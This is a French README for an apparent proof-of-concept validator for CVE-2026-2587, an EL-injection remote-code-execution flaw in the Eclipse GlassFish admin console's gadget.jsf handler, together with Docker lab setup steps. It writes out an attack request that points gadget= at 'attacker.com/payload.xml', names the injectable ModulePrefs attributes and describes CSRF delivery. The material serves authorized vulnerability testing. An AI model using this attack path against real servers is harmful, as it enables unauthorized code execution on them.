CVE-2026-2587 validateur de PoC pour Eclipse GlassFish EL Injection RCE dans le gestionnaire gadget.jsf de la console d'administration. Scanner de vulnérabilités authentifié sûr pour les tests autorisés.
Validateur PoC sécurisé pour CVE-2026-2587, un problème critique d'injection EL / RCE affectant la manipulation des gadgets de la console d'administration d'Eclipse GlassFish via /common/gadgets/gadget.jsf.
Cet outil aide les équipes de sécurité à valider l'exposition à GlassFish CVE-2026-2587 dans des environnements autorisés en utilisant un canari EL arithmétique bénin.
Attribué par : Eclipse Foundation (CNA) · Publié : 19 mai 2026 CVSS :
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE : CWE-917 — Injection de langage d'expression Versions affectées :Inconnuesdans l'avis public au 21 mai 2026 Versions corrigées :Inconnuesdans l'avis public au 21 mai 2026 Règle du scanner : la version est uniquement un contexte de routage/rapport ; le verdict nécessite une preuve.
Une vulnérabilité critique d'exécution de code à distance existe dans le gestionnaire de gadgets de la console d'administration de GlassFish. L'application traite les fichiers .xml récupérés depuis une URL fournie via le paramètre de requête gadget= et évalue les valeurs fournies par l'utilisateur dans les attributs <ModulePrefs> via le moteur de langage d'expression Java (EL) sans nettoyage ni échappement.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Si le XML contient `#{7*7}` dans un attribut `<ModulePrefs title="">`, GlassFish l’évalue côté serveur et renvoie `49` — confirmant l’exécution EL. Une chaîne RCE complète s’ensuit via l’accès d’EL à l’environnement Java.
Les avis de sécurité publics actuels ne publient pas de périmètre de versions affectées ou corrigées.
Ce validateur est donc basé sur la preuve en premier lieu : il identifie GlassFish et
rapporte les métadonnées de version, mais il ne classe pas une cible comme vulnérable à partir de la seule chaîne de version.
---
## Comment ça fonctionne

Le chemin de validation sécurisé héberge une sonde XML bénigne, envoie une requête authentifiée à la console d’administration vers `gadget.jsf`, laisse GlassFish récupérer ce XML depuis l’URL de rappel, et vérifie si le canari `<ModulePrefs title="">` s’évalue de `#{7*7}` en `49`.
**Point d’injection confirmé vs. non :**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| Scénario | Authentification requise ? |
|---|---|
Accès direct à gadget.jsf | Oui — authentification FORM, page de connexion 200 |
| Attaque CSRF réelle | Non — exploite la session active de l'administrateur |
| Ce validateur | Oui — --cookie ou --username/--password |
| Vérification d'exposition non authentifiée | Non — le script teste cela automatiquement |
Le vecteur CVSS PR:N / UI:R signifie :
PR:N — l'attaquant n'a besoin d'aucun identifiantUI:R — un administrateur connecté doit interagir (livraison CSRF)Pour la validation en laboratoire, ignorez complètement la CSRF — utilisez directement votre propre session administrateur.
Prérequis : Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Contenu du dépôt :**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Avertissement : GHSA liste toujours les versions affectées et corrigées comme inconnues.
omnifish/glassfish:7.0.15est un bon candidat pour le laboratoire — pas une version garantie vulnérable. La primitive de validation reste le canari arithmétique : si#{7*7}évalue à49, EL est actif.
docker compose -f docker-compose.lab.yml up
Démarre GlassFish 7.0.15 avec les ports liés à `127.0.0.1` uniquement et `host.docker.internal` pré-câblé pour que le conteneur puisse atteindre votre serveur XML local.
### Option B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Console d'administration : https://localhost:4848 · Identifiants : admin / admin
(Certificat auto-signé — avertissement du navigateur attendu.)
Dans un deuxième terminal :```bash
python3 -m http.server 8000 --bind 0.0.0.0
Vérifier l'accessibilité depuis la perspective du conteneur :```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5